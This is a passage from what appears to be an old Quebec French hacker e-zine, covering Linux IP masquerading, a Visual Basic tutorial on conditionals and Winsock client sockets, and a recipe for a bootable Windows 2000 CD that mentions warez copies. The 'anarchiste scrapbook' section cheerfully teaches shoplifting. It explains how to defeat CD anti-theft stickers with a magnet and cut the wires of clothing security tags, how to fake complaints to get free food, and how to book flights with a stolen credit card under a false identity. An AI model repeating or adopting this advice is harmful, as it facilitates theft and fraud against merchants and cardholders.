adresse IP LOCALE DU RÉSEAU correspondant a eth1 ou eth0:0 genre.
l'adresse ip de la carte ici pourrait varier de 192.168.1.1 à 192.168.1.254.
Bon ben naturellement, tu adapte l'adresse ip avec celle que ta choisi
(souvent 192.168.1.0 ou 192.168.0.0) --> tout dépendement de l'ip de la carte locale.
bon si ca c fait, pis ya pas de message d'erreur, t un king.
il reste juste a configurer ta Winblows Box !!
ok, la ma faire ca vite.
dans les setting tcpip de win9x ou NT ou Mac, tu met une ip locale
192.168.1.2 (genre)
le netmask tu met
255.255.255.0 (genre)
pis le GATEWAY tu met l'ip de la carte réso local de ta box
192.168.1.1
dans DNS tu mes les serveur DNS de ton provider
205.151.222.250
205.151.222.251
(Vidéotron ici)
<Wyzeman> wow,syno, ta ouvers ton ti livre jaune de videotron a page 3? :]
pis thats it. :P tu reboot !
pis la magie, ca marche ! hey hey !!
<Wyzeman> si tavais win2k tu serais meme pas oubliger de rebooter, stu pas fort ca :]
Mais la, ya des fucks, FTP chie, ICQ chie, IRC chie, pis le pire, QUAKE chie !!!!
pas d'panique tabanak!
ajoute ces lignes la au fichier rc.local de tantot:
cd /lib/modules/[version du kernel]/ipv4
modprobe ip_gre.o
modprobe ip_masq_ftp.o
modprobe ip_masq_portfw.o
modprobe ip_masq_user.o
modprobe rarp.o
modprobe ip_masq_autofw.o
modprobe ip_masq_irc.o ports=1024,6660,6661,6662,6663,6664,6665,6666,6667,6668,6669,7000
modprobe ip_masq_quake.o
modprobe ip_masq_vdolive.o
modprobe ip_masq_cuseeme.o
modprobe ip_masq_mfw.o
modprobe ip_masq_raudio.o
modprobe ipip.o
pis ca devrait pus chier.
NOTE: ca speut tres bien que il aille des modules qui existent pas, c pas grave, y sont
si vitaux que ca.
pour les FTP sois assuré que a ctheur tu te connect en mode passif (PASV)
IRC, les DCC vont marcher.
Pour icq c plus toché.
MA te donner le nom d'un fichier ben cool
ipmasqadm
trouve ca. (menute je cherche mes links.)
ok bingo !
voici MR. IPMASQ
Tout ce que tu veux faire marcher comme programme sur windows ma is
qui veut rien savoir a cause du masquerading
http://www.tsmservices.com/masq/
c'est LA référence. Sans farce, vas faire un tour. ca donne full truc.
bon. Ben jpense que j'ai fini.
ah non, pour les kernel 2.0.3x
bon ok..
meme principe, sauf dans le rc.local tu ajoute ca a la place
ipfwadm -p deny
ipfwadm -F -a m -S 192.168.1.0/24 -D 0.0.0.0/0
pis les meme lignes pour les modules irc pis bleh.
c toute.
si ta dla misere ya un HOWTO la dessus !! ben oui!
menute je te trouve le link..
http://howto.linuxberg.com/LDP/HOWTO/mini/IP-Masquerade.html
merveilleux hein !?!
#- ---------------- ATTENTION USERS DE IRC AUTRE QUE UNDERNET ----------------------#
LE IDENT MARCHERA PUS. IL EXISTE UN PROG POUR EMULER UN GENRE DE IDENT
mident
CHERCHE LE, J'AI PAS PLUS D'INFO LA DESSUS. MAIS JLAI DÉJA FAIT MARCHÉ YA 2 ANS :)
<wyzeman> ou runer en mode idle un clien irc qui a sont propre ident server
Bon ben c toute pour a soir.
jvous reviens le mois prochain pour d'autre bebelle style RAID ou DHCP server..
etc.
Bonne nuit les copain, pis surtout bonne veillée!!!
' .
: ;
: '
; Synoptic :
| :
|_________________________________________________________________________________|
===================================================================================================
Pub-O-sticker
Nous avons recu instruction de notre ciente, Hydro-Quebec, de vous reclamer la somme
de 25,02 $ que vous lui devez pour service d'electricite fourni a l'adresse citer si
haut, le tout celon leta de compte dejas envoyer.
Sur reception de la presente, veuillez faire parvenir a nos bureaux la sommes de 25,02 $
plus les frais, qui selevent a 5,00 $ a defaut de quoi nous avons instruction dintenter
contre vous des procedures judiciaires sans autre avis ni delai.
Veuillez agir en consequencee.
<Wyzeman> bon ben jme sauve au perou.
===================================================================================================
,---------------------------------------------------------------------------------,
| [010] |
| The anarchiste scrapbook |
: so called :
; he man jveu un 10 sous :
, .
.
La vie coute chere. Le moindrement que l'on cherche a s'amuser un tantinet
notre portefeuille nous retourne vite a la realite. Mais nous, nous sommes des
gros mechant hacker. pourquoi payer alors que le citoyen modele s'aquiete de se
role avec une devotion casi surhumaine?? Et oui hein, pourquoi payer, lorsque avec
un minimum de talent et d'imagination vous pourriez vivre une vie de roi avec un
salair d'emballeur chez IGA. Sachez etre opportuniste. Ne ratez pas votre chance,
La vie est trop courte pour etre perdu en stupid heure de travaile abrutissante.
Bien evidament il faut de l'argent pour vivre. Et travailler est un moyen tres
honorable de gagner sa vie. Mais un honetre homme a besoin de loisir, et c'est la
que ca coute chere. Il exite toute sorte de moyen plus ou moin honete deconomiser.
Et dans le pire des cas, si vous vous faites pognier, c toujours moin pire que
d'etre acuser de fraude fiscall, Plaidez la distraction, ca marche a 75% des cas,
et de toute facon, les prisons d'eborde. Les conditions etant favorable, pourquoi
ne pas en profiter pour apprendre toute cest crosse qui vous permetrons de vous
divertire a peu de frais. Pourquoi pas passer le squeege ??? pcq ca vous
reviendrais plus chere en frais dhabillement (deguisement) que ne genererais vos
profit. Et puis c'est truc la cest bon pour le monde de montreal, nous on vient de
quebec, nous anarchison avec classe. Alors ma petite gang d'anarchiste en veston
cravate. Pret a aprendre ? Allez gang de pseudo anarchiste quebecois. vide vos
salliere sur la table au mcdo.
Evidament tout le monde connais le truc du billet de cinema a prix modique.
On va voir un film et ca fini quon a passer la journee au cinema. Ca revien meme
moin chere que de louer des film, et ca plus de classe. comme se truc date de
mathusalem, je ne mi attarderais pas plus que de simplement le mentionner, et dis
ajouter 2 recomendation.
1) payer pour le film le plus populaire.
2) c une bonne facon daller voir un film 18 ans et + quand ten a juste 15.
(aka fight club :]) evidament ici vous prennez des billets pour pokemon
et vous vous glissez dans la salle de fight club.
He le nouveau cd de Korn vien de sortir, 20$.. fuck, i me reste juste 5$
(ca coute chere le maudit pop korn :] ). Le volee ? ouais pas bete spa chere ca. au
pire jdirais que jai oublier de payer (disont). merde spa mon jour ya des detecteur
au porte. et le beau stiker blanc pas decolable ca pochette. (enfin pas decolable
de maniere discrete). Pas grave, on va revenir demain, et se soir on va se faire un
jolie petit demagnetiseur. He oui cest machin la son demagnetiser par le vendeur au
moment de l'achat, pourquoi pas se builder un demagnetiseur portatif ???? ouais
pourquoi pas. quesqu'on a a perdre outre notre reputation d'ecolier modele et une
vie qui aurais pu etre des plus prometeuse? He on rate tous notre vie un jour, alors
pourquoi remetre a demain ce que nous pouvons faire aujourd'hui ? Bon, notre dileme
de concience resolut (methode filliere 13) nous sommes maintenant pret a proceder.
comment faire un demagnetiseur ???? et puis pourquoi se casser la tete, un aimant
fera tres bien l'affaire. apres tout, faut etre efficace et cheap, comme un vrai
anarchiste.
Hum, he me faudrais bien des pentalon avec des poches bien positionner pour
volee les CD (pentalon cargo). Mais bon, avec mon budget, meme chez croteau
jpourrais pas m'en permettre. Et arf, la aussi y'a un systeme de securite, et merde
spa des ti cossin qui colle, c'est des gros snap blanc relies a un plus petit avec
un fils de fers et tres bien ajuster sur le vetement. peu etre en tirant dessus, je
vais reussir. Oublie ca mec, c'est affaire la c la poise, si tu brise le plastic,
ca va faire sonner l'alarme, c'est tu pas cute a ton gout? Bon ben il va falloir
amener une paire de cutter et couper le fils de metal afin d'enlever les devices de
plastic. Bon maintenant on peu prendre les pentalons (ouais la faut etre discret,
avoir dejas un sac de linge d'une autre boutique peu aidez beaucoup. Nous sommes
maintenant armee et pret a allez recuperer notre cD de Korn.
bon, tout ca donne faim, et on a toujours notre 5$. A rf on a pas grand
chose pour 5$, C'est asser pour un big king, Alors on va au BK et on commende un
BIG KING. Oauis c bien bon, mais jai manger le 3/4 et j'ai encore faim. Evidament
tout le monde sais que le client a toujours raison. alors allons nous astiners
un peu avec la caissiere et ensuite la gerante, en chialant qui a une broche, une
punaise, un cheveu ou le titanic dans notre BIG KING. C'est un fait etablie ils
vont vous en donnez un autres, juste pour que vous vous fermiez la gueulle et si
c'est votre jour de chance vous allez avoir un frite et un coke en prime. Hum,
beau bon pas chere. parfait pour notre budget d'anarchiste capitalisateur.
Pour finir la journee, apres vous etes shooter a banadine (le pot c trop
chere, allez sur internet (viva les cd "essais un mois gratuit" de msn qui
marche 14 mois (go read IGA #4)) e t allez renflouer votre compte avec accessID
(voir plus haut dans se ezine, so called scroll up ). Merde ya un branleur
qui vous a denoncez pour le vole du CD. C'est de temps de s'enfuire dans le sud.
En tant que bon anarchiste, n'acception rien de moin que la 1ere classe, apres
tout des maudites pizza pochette ca fait 2 semiane quon mange ca a chaque repas
ou presque. Denichez vous un CC et reservez vous un billets premiere classe a
une identitee bidon evidament, pour le vole surcharger du lendemain. Le
lendemain rendez-vous a l'areoport, et d'une cabine telephonique annulee vos
billets (vous navez pas eu le temps de vous faires faire des faux papier anyway.
et aranger vous pour arrivez le plus serrer possible avec lheure du depard, pour
acheter vos billet, vous benefirez aisni du rabais, derniere minute. Vous etes
maintenant fin pret a vous envollez pour des vacances au Perou en premiere
classe. chic non ? ;]
.
: ;
: '
; Wyzeman :
| :
|_________________________________________________________________________________|
===================================================================================================
Pub-O-sticker
Obtener un Whopper gratuitement a l'achat d'un whopper et d'une frite de format
moyen au prix regulier si vous etes normal.
===================================================================================================
,---------------------------------------------------------------------------------,
| [011] |
| VB tome 2 |
: so called :
; y'en reste 4 autre :
, .
.
______________ _____ __ _____
| | \ \ | / /
|__ __|__ __ __ _____ \ \ | / /__
| | | \ / | | ___ \ \ |/ / |
| | . | \/ | --| __| _| \ \/ / . |
| | | | --| | .| _| \ / |
|________|_____|__|\/|__|_____| |__|_| \________/______|
[Tome of VB part #2 of 6: The most-complete one [comprehensible]
Hiho, im back from back? Okay. Voici la suite de mon premier
tutorial, contrairement a se quon croyait (jai lhabitude de
pas finir mes suites) voici le 2-eme et comme promis je vais
vous parler des boucles IF , des fonctions et procedures,
des types public et prives, et des sockets. Donc commencons
ou nous en etions rendu:
LES FAMEUX IF:
--------------
le IF = "Si" en francais amene a creer des programmes qui s'interroge
savoir "si une chose est via un facteur de comparaison a un autre
possible :)". Par exemple, savoir si 5 est egale a 2 ou plus grand?
le IF est la pour ca. Si on prend par exemple le cas suivant:
Je veux faire bouger une form de gauche a droite dans l'ecran de facon
a se quelle rebondisse quand elle touche les bords.
Donc vous commencez par definir la form1. Donnez lui une grandeur
custom, on sen fout, le programme va tout gerer ca pour nous :)
-----------------------------------------------------------lecode.vb---
Dim direction As Integer
Private Sub Form_Load()
direction = 0
Form1.Show
Do
DoEvents
If direction = 0 Then
Form1.Left = Form1.Left - 10
If Form1.Left <= 0 Then direction = 1
Else
Form1.Left = Form1.Left + 10
If (Form1.Left + Form1.Width) >= Screen.Width Then direction = 0
End If
Loop Until 5 = 3
End Sub
-----------------------------------------------------------lecode.vb---
Bon maintenant expliquons le code :). Sous VB on a des constantes systemes
que j'apellerais, comme screen.width par exemple qui definis tjours une
valeur numerique qui est egale au nombre de TWIPS dun ecran, vous devez
savoir quen VB l'unité de calcul cest des TWIPS, pas des PIXELS, pour pouvoir
faire le calcul des PIXEL a partir des TWIPS un autre constante existe pour
chaque axe (X/Y) cest a dire screen.twipsperpixelX et twipsperpixelY
Vous pouvez voir la variable "direction" de valeur numerique dans la
declaration publique. On va affecter une logique a cette valeur, si elle
contient 0 cest que la direction est GAUCHE et si cest 1 cest DROITE.
Vous avez pus remarquer le DO/LOOP placer dans le code, qui defini un
peu la routine de base du programme. vous remarquer la fin: LOOP UNTIL 5=3.
cest a dire, "On sort de la boucle si 5 est egale a 3, sinon on recommence".
Donc il est facile de comprendre que se programme n'aura pas de fin.
la boite de texte bougera sans arret. Mais cest une bonne exemple d'utilisation
IF / ELSE. le ELSE est tres utile. il est utiliser dans le format:
(IF X = 1 then {cmd1} else {cmd2} end if)
SI X est egale a 1 fait ca ,sinon ca.
Donc la, je vous demandes un minimum dintelligence.
Vous devriez avoir compris le code moindrement?
Passons au prochain...
N.B: La commande DOEVENTS permet de dire a windows de pas prendre tout
le process time dans le loop et de checker si Windows aurait besoin
de jus pour runner autre chose (un autre application par exemple).
Ca permet de faire des loop rapides sans geler la machine.
Fonctions et Procedures:
------------------------
Et oui, les fonctions et procedures sont une partie interessante de
la programmation. Ca permet d'optimiser son code et empecher la
repetition useless. Parlons des procedures pour commencez. Si par exemple
on a un petit packet de ligne qui prend une form, qui resize la grosseur
dune form (X/W) :
form1.width = 1000
form1.height = 1200
on pourrait bien faire ca:
Sub resize_form1()
form1.width = 1000
form1.height = 1200
end sub
on peut tout placer dans des SUB (procedures) et les appeler de l'exterieur
GENRE:
Sub Form_load()
resize_form1
end Sub
---
Chose interessante, on peut passer des informations directement dans
une procedure :) :
Sub resize_Form1(x,y as integer)
form1.width = x
form1.height = y
end sub
.
Et oui on peut passer directement des variables de cette facon, prochaine
conception? les fonctions.Identique a un SUB (procedure) mais ca retourne
une fonction:
function non_dla_function(x,y as integer) as boolean
ceci est un exemple simple :}
Voici un exemple de code qui utilise les fonctions et les Subs:
(C'est le meme programme que plus haut)
------------------------------------------------------------------code.vb-
Dim direction As Integer
Private sub scroll_left(x as integer)
Form1.Left = Form1.Left - x
If Form1.Left <= 0 Then direction = 1
end sub
Private sub scroll_right(x as integer)
Form1.Left = Form1.Left + x
If size_from_Right >= Screen.Width Then direction = 0
end sub
Private function size_from_right as integer
size_from_Right = form1.left + form1.width
end function
Private Sub Form_Load()
direction = 0
Form1.Show
Do
DoEvents
If direction = 0 Then
scroll_left(10)
Else
scroll_Right(10)
End If
Loop Until 5 = 3
End Sub
------------------------------------------------------------------code.vb-
TYPE Publique et privé:
-----------------------
il y a 2 types de variables sous VB, les PUBLIC et les PRIVATE. Leurs usages
est identique, la seule difference cest que la variable privé se declare qua
l'interieur dune procedure, tandis que l'autre se declare de nimporte ou :)
Vous comprenez qu'il est tjours pratique de pouvoir caller une fonction ou
une fonction unique pour tout un programme au lieu de la cloner pour chaque
module. Par exemple, la variable DIRECTION si-haut est PUBLIC, on peut s'en
servir nimporte ou, dans le code on l'apelle dans les 3 procedures:
FORM_LOAD
SCROLL_LEFT
SCROLL_RIGHT
Si elle n'aurais pas une nature publique on devrait la definir dans chacune
de ses procedures/fonctions et elle ne garderait pas le contenu quon pourrait
passer a un autre fonction. J'espere que vous commencez a saisir parce que
cest une notion de base a comprendre a tout prix :) Il faut specifier que tout
est definissable, pas seulement les variables. les procedures et fonctions,
les constantes aussi. Pour l'instant on ne code que des programmes qui ne
contiennent qu'une fenetre alors on n'aura pas a en parler tout de suite, mais
dans les prochains articles sur le sujet on va de plus en plus utiliser les
formes publiques de fonctions/procedures.
SOCKETS( WINSOCK )
-----------------------
Bon maintenant on va parler des sockets, se qui est vraiment ma force a moi :)
Un socket c'est une facon "SOFTWARE" de pouvoir gerer le TCPIP sous WINDOWS.
J'espere que ce qui va suivre ne vous donnera pas l'idee de coder un programme
de nuke, ca cest trop bidon :} Mais plutot un client-server. Pour cette fois-ci
nous n'allons parler que de l'aspect CLIENT, c'est a dire "un programme qui se
connecte a un serveur". Prochainement on parlera de l'aspect SERVEUR qui est de
beaucoup plus compliquer.
Bon, premierement il faut que vous ajoutiez un SOCKET a votre FORM , clicker
a l'aide du bouton droite de votre sourie sur le panneau des controles (vous
savez , a gauche ou il y a des iconnes) et prenez l'option "Ajout composant".
Dans la liste vous verrez a un endroit Microsoft Winsock Control, prenez-le.
Vous devriez voir un nouvelle iconne dans votre panneau, draggez en un sur
votre form. L'objet par defaut s'appellera WINSOCK1. Maintenant voici quelque
notions de TCP en Vb a comprendre.
IP: Un IP est un nombre qui identifie votre machine quand vous etes sur un reseau
TCP/IP. Il s'agit d'une valeur 32 bits separer par des points :
IE: 1.2.3.4, chaque chiffre a une valeur minimale de 0 et une max de 255
Quand vous allez par exemple sur www.yahoo.com, votre machine resoue le NOM en IP
et vous recevez le IP ou vous devez vous connectez, biensur tout ca cest transparent :}
Port: Quand vous vous connectez vous devez vous branchez sur un PORT precis, un Port est
en quelque sorte une porte avec un numero qui l'identifie. A la base c'est une valeur
16 bits de 0 a 65535.
Remote IP: Le IP de la machine a rejoindre
Remote Port: Le Port de la machine a rejoindre
Connection TCP: Une connection TCP est se quon apelle une connection duplexe complete.
Vous pouvez envoyez et recevoir en meme temps. Lors d'une connection les
2 machines font du "handshaking" pour pouvoir verifier si tout est parfait
et si la connection peut avoir lieu, si le cas echeant un probleme survient
la connection n'aura pas lieu. Une fois connecter vous pouvez transferer et
recevoir de l'information de toute nature.
Envoie/reception: Comme je vous l'ai dit on peut recevoir et envoyez en meme temps (duplex)
et tout se qui passe est en format 8bits donc aucune transformation specifique
n'est requise, vous envoyez "SALUT" et a l'autre bout il recevra "SALUT" :)
Aucun troncage 7bits a faire comme dans le cas du SMTP.
Maintenant voici un exemple typique de code de connection:
---------------------------------------------------------------------------------socket.code------
Private sub form_load()
Winsock1.remotehost = "www.yahoo.com"
Winsock1.remoteport = 80
Winsock1.connect
end Sub
---------------------------------------------------------------------------------socket.code------
Si aucun probleme se produit, vous serez connecter, a noter que pour les utilisateurs de modemcables
bizarres comme en europe, vous allez peut-etre devoir ajouter un code pour passer par le proxy
specifique requis. Mais bon si on en revient a notre code, cest pas tres bon parce quon peut pas
controler les erreurs de connection, alors voici comment moi je ferais ca.
---------------------------------------------------------------------------------socket.code------
Private Sub calc_one()
dim time2 as string
time2 = time
do
doevents
loop until time <> time2
end sub
Private sub form_load()
dim timeout as integer
Winsock1.remotehost = "www.yahoo.com"
Winsock1.remoteport = 80
Winsock1.connect
do
doevents
calc_one
if timeout = 10 then
msgbox "Incapable d'etablir une connection"
exit sub
end if
timeout = timeout + 1
loop until winsock1.state = sckconnected
end Sub
---------------------------------------------------------------------------------socket.code------
Bon ca l'air un peu melangant comme ca, mais j'utilise un proceder de verification de "timeout"
dans le sens que si apres 10 secondes il n'y a pas de connection je creer un message d'erreur
et je sort de la procedure. Ma procedure CALC_ONE est en fait un delaie de 1 seconde ou presque.
quand je l'apelle , le programme attend 1 seconde ;)
Le Winsock1.state est une methode pour connaitre l'etat courant de la connection, 2 states sont
utiliser:
sckconnected
et
scknotconnected
Il y en a d'autre mais cest les plus utiles a mon avis :}
Maintenant voyons une methode pour envoyez de l'information et en recevoir, le meilleur truc pour
faire ca cest de coder un genre de petit terminal non-vt (pas encore) qui nous permet de voir
se quon nous dit et se quon envoie.
Donc creez-vous une FORM/feuille. Dedans ajouter une boite de texte , appelez-la DUMP et mettez
les attributs: multiline, scrollbars = vertical. Faites vous une boite en dessous et appeler la
KEYB et ne modifiez pas ses attributs.
Bon c'est simple, la boite DUMP va etre l'endroit ou se retrouve l'information entrante et la
BOITE KEYB sera l'endroit ou vous tapez le texte a expedier. Organisez-vous pour mettre votre
boite DUMP d'une assez bonne grosseur, en gros ca donne ca:
________________________________________
|_Form1______________________________-ox_|
| ____________________________________ |
| | : | |
| | BOITE DUMP : | |
| | :.| |
| | :o| |
| | :`| |
| | : | |
| | : | |
| |__________________________________:_| |
| ____________________________________ |
| |_BOITE KEYB_________________________| |
|________________________________________|
Maintenant creez-vous un SUB(procedure) qui va s'appeler WROTE (contenu as string)
exemple:
--------------------------------------------------------------------------------------code.vb-
Private Sub WROTE(contenu as string)
if len(dump.text) > 10000 then dump.text = mid(dump.text,5000,len(Dump.text)-5000)
dump.selstart = len(dump.text)
dump.sellength = 0
dump.seltext = contenu
end Sub
--------------------------------------------------------------------------------------code.vb-
Cette fonction va permettre d'ecrire dans la boite DUMP avec le plus de securité et
de simplicité possible. le programme va tout d'abord s'auto-connecter des son demarrage
et si un probleme se produit il se fermera (je parle des problemes relier a la connection
initiales) donc placer ceci dans le code (noubliez pas de charger votre composant Winsock1).
---------------------------------------------------------------------------------socket.code------
Private Sub calc_one()
dim time2 as string
time2 = time
do
doevents
loop until time <> time2
end sub
Private sub form_load()
dim timeout as integer
wrote "Tentative de connection a linuxqc.com ..."
Winsock1.remotehost = "linuxqc.com"
Winsock1.remoteport = 23
Winsock1.connect
do
doevents
calc_one
if timeout = 10 then
msgbox "Incapable d'etablir une connection"
end
end if
timeout = timeout + 1
loop until winsock1.state = sckconnected
wrote "CONNECTER!"+Vbcrlf
end Sub
---------------------------------------------------------------------------------socket.code------
Bon vous pouvez voir qu'ici j'utilise la constante VBCRLF qui est en fait VISUAL BASIC CARRIAGE-
RETURN & LINEFEED. en gros cest un ENTER :) Cest pour changer de ligne.
Si connection il y a , il faudrait maintenant etre capable de prendre l'information qu'on recoit
et l'afficher, donc allez dans vos METHODS du controle WINSOCK1. Vous devriez appercevoir la
methode DATAARRIVAL?
Dans cette boite la, mettez ceci:
dim buffer as string
winsock1.getdata buffer
wrote buffer
-
C'est tout :) la fonction GETDATA permet de lire tout informations que vous recevez et de les
placers dans une valeur string, que par le suite nous affichons. Maintenant il nous reste plus
qu'a pouvoir envoyez a notre tour de l'information. Allez dans la methode: KEYPRESS de l'objet
boite de texte KEYB et ajoutez ceci:
if keyascii = 13 then
if winsock1.state = sckconnected then winsock1.senddata keyb.text +vbcrlf
keyb.text = ""
keyascii = 0
end if
-
Et voila, vous avez un programme qui lit et envoie, la fonction senddata permet denvoyer
de l'information au socket. Notez que je verifie si il y a une connection d'etablie avant
d'envoyez sinon cela produirais un erreur.
Dans ce petit chapitre dedier au SOCKET vous avez appris les fonctions suivantes:
senddata
getdata
connect
remoteport
remotehost
Maintenant essayer par vous meme d'utiliser la fonction CLOSE (qui ferme une connection)
Bon voila deja la fin de se tutorial, le mois prochain on continue ou nous avons laissez cela :}
.
: ;
: '
; __2.ouf :
| :
|_________________________________________________________________________________|
===================================================================================================
Pub-O-sticker
un classic : no quote for yet
===================================================================================================
,---------------------------------------------------------------------------------,
| [012] |
| Win2k de A a Z |
: so called :
; dir >win2k.txt :
, .
.
Comment se graver un CD bootable de Windows 2000 Pro RC2
So called: Criss y'a pas une doc à jour sur le net
Windows 2000 c ben cool après 3-4 ans de Windows 95 et 98. On
dirait que 95% des problèmes sont règlés, sans en ajouter de
nouveaux genre :) Vla une liste rapide des avantages de runner
Windows 2000 au lieu de 98:
1: Ca crash a peu près jamais.
2: Un programme qui crash va avoir ben dla misère a faire crasher
le reste du système. On peut toujours faire ctrl-alt-del et
le killer.
3: Utilisation intelligente de la mémoire: avec windows 98, au
bout d'une heure ou deux toute ma mémoire était utilisée même
si je faisais RIEN avec l'ordi, et je me mettais à swapper
tranquillement de plus en plus. Criss 192 megs de ram devraient
garantir la paix à n'importe qui en théorie, eh ben NON. Mais
Windows 2000 se stabilise (sur mon système) avec 80-105 megs
utilisés et ne grossit plus. Même après une semaine d'être
booté mon RAM est encore la, ca fait du bien de pu se le faire
piper dans /dev/null!
4: NTFS: NTFS est un filesystem capable de récupérer sans
difficulté d'une panne de courant ou d'un Reset. Plus jamais
vous aurez d'écran "Windows a été fermé incorrectement blablabla"
5: NTFS Permet aussi de compresser à la doublespace seulement les
fichiers ou les répertoires que vous voulez. Par exemple moi j'ai
fait compresser mon C:\Program Files... Tout est encore accessible
mais ca prend moins de place sur le HD.
6: Quand je demande de faire un delete sur un répertoire, la criss
de fenêtre "yes no cancel ALL" vient juste UNE FOIS j'ai pas
besoin de cliquer sur ALL 20 fois!
7: Mon disque dur vient pas hyper lent sur les opérations de move et
rename quand y'approche de plein comme avec Windows 98
8: Support multiprocesseur: Ca c plus FreeQ qui en profite, mais ca
donne un boost appréciable de performance à Quake3 avec R_SMP 1 !
9: Beaux ptits menus fade-in cute et le curseur de la souris a une
ombre (bof) :)
10:A peu près jamais besoin de rebooter quand vous faite un changement
de configuration (les changement au réseau par exemple)
11:Mixage sonore: Vous pouvez jouer à Quake3 en écoutant des MP3, et
vous allez encore entendre les calls de ICQ, même sur une vielle
Sound Blaster 16. Inutile d'avoir une carte de son PCI à 100$
désormais!
Et contrairement à Windows NT4, DirectX 7 fonctionne avec Windows 2000
(il est déja inclus). Contrairement à NT5 Beta2, les programmes de
graveur marchent aussi.
La question des drivers: Windows 2000 reconnaît la plupart des cartes
vidéo, mais pour être certain que vos jeux vont marcher jvous conseille
de trouver des drivers pour Windows 2000 (les drivers Win98 Win95 ou
NT4 ne marcheront *PAS*). Demandez moi même pas ou en trouver, faites
marcher vos doigts sur altavista ou www.lacompagniequifaitvotrecarte.com
<wyzeman> la ati rage128 est pas encore supporter en opengl
Y'a des docs qui se trouvent sur le web expliquand comment faire ce
que je vais vous expliquer ici, mais la plupart du temps sont passé
date et comportent plein d'erreurs, alors vu que moi y'a fallu que
je fasse plein de gaffes en me basant sur ces docs bidons, jme dis
que je pourrais sharer mon expérience...
Au cas ou ca vous tente de réussir votre CD du premier coup sans
en peter 4-5 au cours d'un long processus d'essai et erreur...
Voici la recette authentique, directement de ma famille à la vôtre:
Ingrédients:
1 Graveur
1 CD gravable (ou plus dépendant de votre habilité)
1 Cdrwin.exe (www.goldenhawk.com) (Oubliez Easy Cd Creator)
1 Notepad.exe (ou edlin ou copy con)
5186 Fichiers du répertoire \i386 d'un CD non bootable ou d'une
distribution warez de windows 2000 pro RC2
1 Fichier image du boot sector d'un cd de Windows NT 4 bootable
(en théorie inclus avec le zine, nt4boot.bin)
Instructions:
1: Créez un répertoire de travail sur votre HD, disons C:\WIN2000
2: copiez les 4002 fichiers 0401.CS_, 0404.CS_, 0405.CS_, 0406.CS_, 0407.CS_,
0408.CS_, 040B.CS_, 040C.CS_, 040D.CS_, 040E.CS_, 0410.CS_, 0411.CS_,
0412.CS_, 0413.CS_, 0414.CS_, 0415.CS_, 0416.CS_, 0419.CS_, 041D.CS_,
041F.CS_, 0804.CS_, 0C0A.CS_, 12520437.CP_, 12520850.CP_, 1394.IN_,
1394BUS.SY_, 3DGARRO.CU_, 3DGMOVE.CU_, 3DGNESW.CU_, 3DGNO.CU_,
3DGNS.CU_, 3DGNWSE.CU_, 3DGWE.CU_, 3DSMOVE.CU_, 3DSNS.CU_, 3DSNWSE.CU_,
3DWARRO.CU_, 3DWMOVE.CU_, 3DWNESW.CU_, 3DWNO.CU_, 3DWNS.CU_,
3DWNWSE.CU_, 3DWWE.CU_, 8514FIX.FO_, 8514FIXE.FO_, 8514FIXG.FO_,
8514FIXR.FO_, 8514FIXT.FO_, 8514OEM.FO_, 8514OEME.FO_, 8514OEMG.FO_,
8514OEMR.FO_, 8514OEMT.FO_, 8514SYS.FO_, 8514SYSE.FO_, 8514SYSG.FO_,
8514SYSR.FO_, 8514SYST.FO_, 85775.FO_, 85855.FO_, 85F1257.FO_,
85S1257.FO_, AAAAMON.DL_, ABP480N5.SY_, ACCESS.CH_, ACCESS.CP_,
ACCESS.HL_, ACCESSIB.CH_, ACCESSOR.IN_, ACCSERV.MI_, ACCTRES.DL_,
ACCWIZ.EX_, ACC_BIS.CH_, ACELPDEC.AX_, ACLEDIT.DL_, ACLUI.CH_,
ACLUI.DL_, ACLUI.HL_, ACPI.IN_, ACPI.SY_, ACPIEC.SY_, ACS.MI_, ACSETUPC.DL_,
ACSMIB.DL_, ACTIVEDS.DL_, ACTIVEDS.TL_, ACTMOVIE.EX_, ACTSAVER.SC_,
ACTXPRXY.DL_, ADCADMIN.CH_, ADCJAVAS.IN_, ADCVBS.IN_, ADDREMOV.CH_,
ADE.HL_, ADMEXS.DL_, ADMPARSE.DL_, ADMWPROX.DL_, ADMXPROX.DL_,
ADM_MULT.IN_, ADM_PORT.IN_, ADOAPT15.RE_, ADOD6522.IC_, ADOFRE15.RE_,
ADOJAVAS.IN_, ADOVBS.IN_, ADPROP.HL_, ADPTIF.DL_, ADPU160M.SY_,
ADROT.DL_, ADSIIS.DL_, ADSLDP.DL_, ADSLDPC.DL_, ADSMSEXT.DL_,
ADSNDS.DL_, ADSNT.DL_, ADSNW.DL_, ADVAPI32.DL_, ADVPACK.DL_,
AFD.SY_, AGENTANM.DL_, AGENTCTL.DL_, AGENTDP2.DL_, AGENTDPV.DL_,
AGENTMPX.DL_, AGENTPSH.DL_, AGENTSR.DL_, AGENTSVR.EX_, AGT0401.DL_,
AGT0401.HL_, AGT0404.DL_, AGT0404.HL_, AGT0405.DL_, AGT0405.HL_,
AGT0406.DL_, AGT0406.HL_, AGT0407.DL_, AGT0407.HL_, AGT0408.DL_,
AGT0408.HL_, AGT0409.DL_, AGT0409.HL_, AGT040B.DL_, AGT040B.HL_,
AGT040C.DL_, AGT040C.HL_, AGT040D.DL_, AGT040D.HL_, AGT040E.DL_,
AGT040E.HL_, AGT0410.DL_, AGT0410.HL_, AGT0411.DL_, AGT0411.HL_,
AGT0412.DL_, AGT0412.HL_, AGT0413.DL_, AGT0413.HL_, AGT0414.DL_,
AGT0414.HL_, AGT0415.DL_, AGT0415.HL_, AGT0416.DL_, AGT0416.HL_,
AGT0419.DL_, AGT0419.HL_, AGT041D.DL_, AGT041D.HL_, AGT041F.DL_,
AGT041F.HL_, AGT0804.DL_, AGT0804.HL_, AGT0816.DL_, AGT0816.HL_,
AGT0C0A.DL_, AGT0C0A.HL_, AGTCTL15.TL_, AGTINST.IN_, AGTINTL.DL_,
AHA154X.SY_, AIC116X.SY_, AIC78U2.SY_, AIC78XX.SY_, ALEABANR.GI_,
ALRSVC.DL_, AMAIZRUL.GI_, AMIPRO.SA_, AMOVIE.IN_, AMSINT.S_,
AMSTREAM.DL_, ANABNR2.GI_, ANSI.SY_, APCOMPAT.IN_, APCUPS.DL_,
APP775.FO_, APP850.FO_, APP852.FO_, APP855.FO_, APP857.FO_,
APP866.FO_, APPD6518.IC_, APPEND.EX_, APPMGMTS.DL_, APPMGR.DL_,
APPS.CH_, APPS.IN_, APPSER~1.CL_, APPSTAR2.AN_, APPSTAR3.AN_,
APPSTART.AN_, APPWIZ.CP_, ARCLDR.EXE, ARCSETUP.EXE, ARIAL.TT_,
ARIALBD.TT_, ARIALBI.TT_, ARIALI.TT_, ARIBLK.TT_, ARP.EX_,
